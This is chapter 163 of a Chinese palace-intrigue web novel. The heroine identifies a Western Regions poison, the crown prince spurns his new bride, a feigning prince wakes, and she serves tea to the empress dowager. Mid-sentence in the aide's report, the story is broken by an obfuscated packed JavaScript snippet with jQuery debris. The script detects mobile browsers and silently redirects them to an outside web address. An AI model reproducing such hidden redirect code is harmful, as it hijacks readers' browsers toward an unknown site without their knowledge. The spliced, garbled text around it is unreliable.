第163章 一旦入体,无药可解
作品:《穿书后,蠢笨恶女不当炮灰了》 夹层中,藏着一小撮暗黄色的粉末,银簪隐隐泛出乌色。
云知意心头一震,连忙走到桌前,将粉末小心倒在素色帕子上,凑近鼻尖轻嗅——就是这个香气。
她的瞳孔骤然收缩。
“我记得好像在哪本书上看过!”
她连忙翻找有关此药的记载。
翻了半晌终于在一本西域杂记残卷上,找到有关记载:
牵香引——产自西域,以雪山之巅的奇花异草淬炼百年而成,千金难求,此毒无色,携一缕若有若无冷香,善隐于**之中,专攻心脉,一旦入体,无药可解。
云知意脑海中瞬间闪过无数念头——能拿到这种秘毒的,绝非寻常江湖人士,难道要害我们之人来自皇宫?这药是云清灵给郭静怡的,皇后与柳氏的关系并不简单。
——
东宫。
云清灵坐在清冷的房间里,等了许久,萧明轩才姗姗而来,却只是冷冷地看了她一眼,转身便要离开。
云清灵连忙起身,从身后紧紧抱住他,声音带着哭腔。
“太子哥哥,别走……今日是我们的大婚之日,你陪陪我好不好?”
萧明轩皱着眉,用力掰开她的手,语气冰冷。
“放手。本宫今日还有要事处理,你自己休息吧。”
他心中充满了对云知意的执念,如今的云清灵甚至让他感到有些厌恶。
话落,他头也不回地离开了,云清灵一人在空荡荡的房间中。
门外传来宫女们的嘲笑声,云清灵满含泪水,愤恨地将门关上。
“今夜可是我们的新婚夜,你居然走了?让我沦为最大的笑话?萧明轩我做了那么多只为能走到你身边,你怎么能这样对我?”
次日,天还未亮,便传来一阵急促的敲门声。
她迷迷糊糊中睁开眼,竟发觉自己躺在萧逸辰身侧。
她心头一跳,慌忙坐起身,飞快地检查自己的衣襟。
“还好,还好。”
可转念一想,她又蹙起眉来。
“不对啊,我明明是靠在床边睡着的,怎么会跑到床上来了?”
她俯身,轻轻拍了拍萧逸辰的肩膀。
“王爷,王爷,是你醒了吗?”
萧逸辰依旧双目紧闭。
云知意伸出手指,搭在他的腕脉上。
“奇怪,脉象明明已经无碍,为何还昏迷不醒?”
云知意喃喃自语,满心疑惑,却没有留意到,萧逸辰的眼睫,微微动了一下。
“难道是昨晚我睡着了,迷迷糊糊中自己跑到了床上,要**要**,还好他没有醒来,不然这也太主动了。”
敲门声再次响起,比先前更急促了些。
“王妃,该起床了!郭夫人还在正厅等着您去奉茶呢!”
云知意定了定神,理了理衣袍,将门打开,脸上带着几分不解。
“哪个郭夫人?”
张嬷嬷仰着头,下巴抬高,一脸倨傲。
“自然是王爷的义母——郭夫人!按规矩,新妇入门次日,理当向府中长辈奉茶问安,王妃可莫要失了礼数!”
云知意唇角勾起一抹冷冽的弧度。
“王爷的生母乃是当朝太后,按礼制,理应入宫向太后奉茶问安,竟不知这郭夫人何时还大过了太后?”
张嬷嬷脸色一阵青一阵白。
“王妃……王妃误会了,老奴绝无此意。只是郭夫人毕竟是王爷的义母……”
云知意挑眉打断她的话。
“王爷为了能让郭夫人安心住下,故而尊称她一声义母,但尊卑有序,莫要越俎代庖,还是恪守本分为好。”
张嬷嬷没想到云知意是个硬茬,只好应了声“是”,先退了下去。
——
云知意刚走,寝殿内,萧逸辰缓缓睁开了眼睛,精神状态好了不少。
萧鹏轻手轻脚地推门进来,见他转醒,快步走上前,声音里满是后怕与庆幸。
“王爷!您总算醒了!您这次赌得也太大了,万一……万一王妃没能救醒您,可该怎么办?属下这几日,真是担心坏了!”
萧逸辰淡淡地瞥了他一眼,声音略带沙哑。
“现在情况如何?”
萧鹏回道:“王爷,您重伤昏迷的消息早已传遍京城,朝堂内外人心浮动,太子动作频频,正拉拢朝臣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045644|189659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,梁州那边也闹出不少动静。”
萧鹏顿了顿,问道:“你醒来的消息要不要告知王妃?她这几日不眠不休,着实累坏了。”
萧逸辰勾起一抹极淡的笑意,眼底闪过一丝促狭。
“先不用。”
萧鹏瞬间明白萧逸辰打的什么主意,不由想笑出声来。
萧鹏又想起一事,连忙道:“还有郭静怡说是等你大婚之后便去往梁州,可今日一早郭夫人又故意刁难王妃,用不用属下给她们一些警告?”
萧逸辰抬手打断他的话,语气笃定。
“不必,云知意不是寻常女子,这点小事,她自能处理。静怡一时蒙蔽心智,待她想通了,自会前往梁州,希望她不要令本王失望。至于义母,是去是留由她自己决定。”
萧鹏点了点头,应声退下。
安宁宫。
云知意双手捧着茶盏递到太后面前,语气恭谨。
“儿媳给母后奉茶,愿母后福寿安康,长乐无忧。”
太后含笑接过茶盏,浅抿了一口,柔声道:“快快请起,这阵子辛苦你了,守在辰儿床前日夜操劳,都瘦了不少。婚礼办得太过仓促,委屈你了。”
云知意浅浅一笑。
“母后言重了,只要王爷能尽早醒来,都值了。”
太后眼中露出满意之色,点了点头赞道:“你倒是个懂事的。”
话音刚落,太后脸上的笑意淡了几分,缓声道:“今早府里的事,哀家已经听说了。郭夫人借着义母的名头刁难你,实在是不成体统。
辰儿虽认她为义母,可这尊卑有序的规矩,总不能乱了去。哀家这就派人去王府,好好教教她什么叫本分,断不能让你在王府里受了委屈。”
云知意对着太后敛衽一礼,语气诚恳。
“谢母后体恤。只是此事,儿媳能处置妥当,还请母后相信儿媳,定能打理好王府诸事,不叫人看了笑话。”
太后眼底闪过一丝赞许,抬手示意李嬷嬷取来一物,随即将一枚腰牌放在云知意手中。
“也好。你拿着它,见此令牌,如哀家亲临。往后在王府里,若是有人敢逾矩放肆,你大可凭此牌处置。”

